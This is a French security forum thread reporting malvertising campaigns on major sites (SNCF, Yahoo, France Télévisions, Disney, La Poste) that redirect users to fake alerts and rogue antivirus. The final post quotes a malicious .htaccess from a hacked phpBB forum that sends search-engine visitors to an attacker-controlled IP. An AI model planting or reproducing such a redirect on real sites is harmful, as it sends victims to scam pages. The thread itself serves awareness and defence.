Popup ErreurChasseur, PerformanceOptimizer, Malware-Scan,etc

[Malekal_morte]

Salut,

Merci pour l'info!

Kimberly a réussi à avoir la popup, quelques infos sont là : http://www.bluetack.co.uk/forums/index. ... entry86387
Elle va contacter la SNCF car il semblerait que la bannière piégée soit hébergée chez eux (doivent être au courant qu'elle est piégée).

Espérons que ça bouge!


Par contre pour Yahoo! c'est pas gagné, pas simple à savoir laquelle est piégée..

[Malekal_morte]

Je viens de lancer un appel pour les alertes Gnida sur Yahoo! afin de localiser la bannière en question : http://forum.malekal.com/viewtopic.php?f=46&t=9419

[Malekal_morte]

LA SNCF a répondu au mail concernant les popups : http://www.bluetack.co.uk/forums/index. ... st&p=86563

La réponse est navrantes.... ils semblent connaître le problème de popups mais sur le site de la SNCF y en a pas!!
enfin plus maintenant car RealMedia (la régie de pubs) à l'origine des popups a fait le necessaire.

[etoille]

Nous vous invitons à ne surtout pas donner suite à cette alerte.

Surtout pas hein??!!

[Malekal_morte]

Une page interressante sur le blog de sandi qui se veut une réflexion sur le phénomène des bannières piégées dits "Malvertizements"
--> http://msmvps.com/blogs/spywaresucks/ar ... 67345.aspx

Le page est en anglais, donc voici la traduction via Google :
Traduction de la page via Google

[Malekal_morte]

Les sites de France Television ont été (ou le sont encore) par une bannière de publicités qui effectuent des redirections...
C'était une bannière connue sur les déodorant féminin.

Plus d'infos : http://www.bluetack.co.uk/forums/index. ... entry86910

[Malekal_morte]

Une bannière est revenue depuis hier sur le site de clubic et jeuxvideo.fr.... c'est une ads sur colgate : http://www.bluetack.co.uk/forums/index. ... entry86954

[Malekal_morte]

OK la pub qui effectue des redirections sur Yahoo a été découverte ... tjrs cette bannière pour du déo féminin :
http://msmvps.com/blogs/spywaresucks/ar ... 04820.aspx
http://msmvps.com/blogs/spywaresucks/ar ... 05158.aspx
http://msmvps.com/blogs/spywaresucks/ar ... 05247.aspx

voir aussi : http://www.bluetack.co.uk/forums/index. ... entry87048

[Malekal_morte]

Le site Disney France (http://home.disney.fr/) touché par des bannières malicieuses redirigeant vers de fausses alertes pour le rogue Antivirus 2008

Voir ce topic : http://forum.malekal.com/viewtopic.php? ... &sk=t&sd=a

Plus d'infos par Kimberly (en anglais) à partir de ce lien : http://www.bluetack.co.uk/forums/index. ... st&p=87556

[Malekal_morte]

ifrance.com touché par des SWF malicieuses qui effecturent des redirections vers XPAntivirus : http://www.bluetack.co.uk/forums/index. ... entry87613

[Malekal_morte]

La poste a été touché par des publicités redirigeant vers des rogues : http://www.01net.com/editorial/389835/l ... te-piegee/

[Malekal_morte]

Autre principe hack d'un forum phpbb avec ajout d'un fichier .htaccess effectuant du rewrite d'URL (voir doc apache : http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html ).
Le but étant de réécrire les adresses issues des moteurs de recherche pour rediriger l'internaute vers de fausses pages de scan/alerte de sécurité.

Si l'internaute tape directement l'URL du forum (ou utilise ses favoris), aucune redirection.
S'il arrive sur le forum via un moteur de recherche, il sera redirigé.

Ex de fichiers .htaccess

Code : Tout sélectionner

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* hxxp://87.248.180.90/in.html?s=sg [R,L]
Errordocument 404 hxxp://87.248.180.90/in.html?s=sg_err

http://msmvps.com/blogs/spywaresucks/ar ... 50776.aspx
http://www.phpbb.com/community/viewtopi ... &t=1123235